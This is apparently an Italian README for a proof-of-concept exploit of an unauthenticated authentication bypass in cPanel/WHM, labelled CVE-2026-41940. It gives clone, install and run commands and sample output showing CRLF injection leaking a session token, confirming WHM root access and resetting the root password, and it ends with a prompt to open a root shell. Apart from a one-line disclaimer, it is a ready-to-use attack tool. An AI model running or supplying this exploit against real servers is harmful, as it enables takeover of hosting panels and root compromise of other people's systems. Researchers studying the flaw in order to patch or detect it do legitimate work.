
Proof-of-concept exploit per CVE-2026-41940, un bypass dell'autenticazione non autenticato in cPanel/WHM che utilizza l'iniezione CRLF per divulgare i token di sicurezza e reimpostare la password di root.
CVE-2026-41940 è un proof-of-concept (PoC) che mira a cPanel/WHM.
Questo exploit dimostra un bypass di autenticazione non autenticato utilizzando l'iniezione CRLF per divulgare i token di sicurezza e ottenere accesso a livello root all'interfaccia WHM, consentendo azioni come la modifica della password di root.
Disclaimer: Questo PoC è solo a scopo educativo. Non utilizzarlo su sistemi senza autorizzazione.
cp_security_token.requests.git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
pip install requests
Requisiti:
requests,urllib3
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NUOVA_PASSWORD>
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!
La console mostra:
[0-4][+][!][*]Esempio:
[0] hostname = target.local
[1] minting a preauth session...
session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.12"}
[*] changing the root password
passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell
| Flag | Descrizione | Obbligatorio | Default |
|---|
--target | URL target WHM (es., https://host:2087) | Sì | - |
--password | Nuova password per l'utente root | Sì | - |
--hostname | Sovrascrive l'header Host: | No | Auto |